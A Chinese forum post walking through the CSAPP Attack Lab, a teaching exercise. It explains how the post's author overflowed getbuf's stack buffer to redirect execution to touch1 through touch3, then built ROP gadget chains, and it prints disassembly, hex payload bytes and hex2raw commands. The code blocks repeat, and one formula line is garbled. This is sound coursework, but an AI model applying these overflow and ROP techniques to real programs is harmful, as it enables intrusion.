首页
社区
课程
招聘
[原创]《深入理解计算机系统》Attack Lab 题解
发表于: 2025-5-30 21:39 482

[原创]《深入理解计算机系统》Attack Lab 题解

2025-5-30 21:39
482

阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup并在开始每一阶段前阅读相应内容,否则容易一头雾水。

注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q,告诉程序不上数据传到伺服器,否则无法运行。

笔者学识稍浅,若有疏漏或错误处,欢迎各位大佬指正。

文档给了test函数的C代码:

还给了touch1函数的代码:

题目要求当getbuf返回时不返回到下一行的printf,而是跳转到touch1运行。

首先查看getbuf的反汇编代码:

0x4017a8处指令开辟了大小0x28 = 40(字节)的栈空间,然后将栈顶作为参数(%rdi)传给Gets函数。

我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1的内存地址。

查看代码我们可以发先touch1首行指令在地址0x4017c0处,这是我们想让代码从getbuf返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00)

由此,我们可以构建出shellcode:

我们将这段内容保存在档案phase_1中,然后使用lab提供的工具hex2raw将其转换成程序接受的string类型。

注意,运行ctarget前要加上-q,防止因为程序连接不上伺服器而报错。

查看文档,发现给出的touch2函数要求传入一个无符号数,并检查该输入是否与cookie相等。

首先查看代码可以知道touch2函数开头地址为0x4017ec。在Lab文件夹内有一个文件叫cookie.txt,里面存放着我们需要的cookie值。

因为我们要将cookie值传给touch2,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi中。所以我们需要执行以下代码:

然后我们要调用touch2函数,即0x4017ec地址处。这里我们不使用calljmp而使用ret,因为偏移不好计算。注意,ret指令会跳转到栈顶保存的地址,并将该地址出栈(pop)。

将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s中,然后使用指令:

打开phase_2_asm.asm,可以发现对应的机器代码。

即:

有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip设置为%rsp)

通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78处。

利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:

利用以下代码验证其正确性:

查看文档,发现这题需要给hexmatch函数传入一个等于cookie的字符串,其中字符串应传入首字符的地址(char *)。

首先查看touch3的地址:0x4018facookie的值在phase_2就找到过了:0x59b997fa。文档中说明传入的cookie字符串不应包含前缀的0x,所以实际要传入的字符串应为:59b997fa

注意,通过查看文档,我们可以发现一句话:"When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatchstrncmp被调用时会将数据入栈,可能会覆盖getbuf的部分内容,需要小心选择字符串储存地址。

意即避免将字符串存放在getbuf的栈帧内,故此我们选择将其存放在test的栈帧内。

查看test的栈底:0x5561dca8

参考phase_2我们可以编写出以下汇编代码,并将其转换为机器代码:

到目前为止,我们可以写出以下与phase_2雷同的shellcode:

由于我们的字符串应储存在0x5561dca8,而储存我们输入的首地址在0x5561dc78,所以我们应该给输入的最后一行填充0并在下一行处填入cookie字符串。

回想字符串如何储存:利用ASCII表示字符。

cookie转换为ASCII码后为:35 39 62 39 39 37 66 61

至此,我们的shellcode就构建出来了:

创建文件phase_3并将shellcode存放在该的文件中,测试:

下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:

故,下两阶段会用到ROP知识(Return-Oriented Programming)。

ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret,我们称这种片段gadget(ret指令用来跳转到下一个gadget)。

上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3表示指令ret。当每个gadget运行到ret时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。

用以下例子举例:

字节序列48 89 c7就可以组成指令movq %rax, %rdi,并且这个序列最后还跟随了一个c3,也就是ret。我们的目标序列在地址0x400f18处,所以如果直接跳转到0x400f18处就可以执行我们想要执行的指令。

此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。

在此我们想使用gadget实现以下功能:

但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa)。换个思路,我们可以将数据存放在栈中,然后使用popq取得数值。搜寻popq %rdi对应的机器代码5f,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:

查看上图可发现,对应机器代码为:58 c348 89 c7 c3。通过搜索我们可以找到以下两个函数:

通过在0x4019cc截断第一个函数可以构成gadget1(90nop,即no operation),在0x4019a2截断第二个函数可以构成gadget2

理想状态下,我们期望栈的状态如下:

getbuf执行ret后,会跳转到gadget1并将其地址出栈。

这时gadget1中的pop就会将cookie值从栈顶取出,然后跳转到gadget2继续执行。

故此,我们可以构建出以下shellcode,并保存在phase_4中:

验证正确性:

终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。

既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。

因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + <bias>的形式取得。

我们想要实现以下功能:

但是寻找后发现没有add的机器码,我们可以使用另一个函数代替。

因为某些mov指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret指令)。

注意此处偏移量的计算:执行mov %rsp, %rax时,%rsp其实正指向存放mov %rax, %rdi的栈内存。回忆ret指令相等于以下两条指令pop %rsp+ jmp %rsp,所以执行第一个gadget时,%rsp正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为76eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3e0V1&6z5q4)9J5c8V1#2S2N6r3S2Q4x3V1k6y4j5i4c8Z5e0f1H3`.">×=(x)8 \times 9 = 72 (0x48)8×9=72(0x48)

以上,可以构建出shellcode:

验证正确性:

至此,五个阶段全部完结。

终于完结此篇题解,时间拖得有些久,因为进入大学的准备忙得焦头烂额。最近才知道录取的是专业大类且没法依个人意愿自由分流,也就是说进入学校后还需二次分流,笔者很难依意愿进入喜爱的计算机了。正考虑继续就读本地大学或申请国外大学两条路,若选择继续就读本地大学,以后更新频率可能会创下新低,只能使用课余时间研究。等于回到高中时期,既要顾课业也要顾兴趣。最近也要为分流考试准备,预习数学与刷题,可能更新频率也不会太高。

最后,谢谢你愿意看我的后记碎碎念。

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq  
  4017be:   90                      nop
  4017bf:   90                      nop
00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq  
  4017be:   90                      nop
  4017bf:   90                      nop
00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>
00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00
./hex2raw < phase_1 | ./ctarget -q
./hex2raw < phase_1 | ./ctarget -q
void touch2(unsigned val) {
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }
    else {
        printf("Misfire: You called touch2(0.x%8x)\n", val);
        fail(2);
    }
    exit(0);
}
void touch2(unsigned val) {
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }
    else {
        printf("Misfire: You called touch2(0.x%8x)\n", val);
        fail(2);
    }
    exit(0);
}
00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>
00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>
movq $0x59b997fa, %rdi
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
pushq $0x4017ec
ret
gcc -c phase_2_asm.s
objdump -d phase_2_asm > phase_2_asm.asm
gcc -c phase_2_asm.s
objdump -d phase_2_asm > phase_2_asm.asm
phase_2_asm.o:     file format elf64-x86-64
 
 
Disassembly of section .text:
 
0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq  
phase_2_asm.o:     file format elf64-x86-64
 
 
Disassembly of section .text:
 
0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq  
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回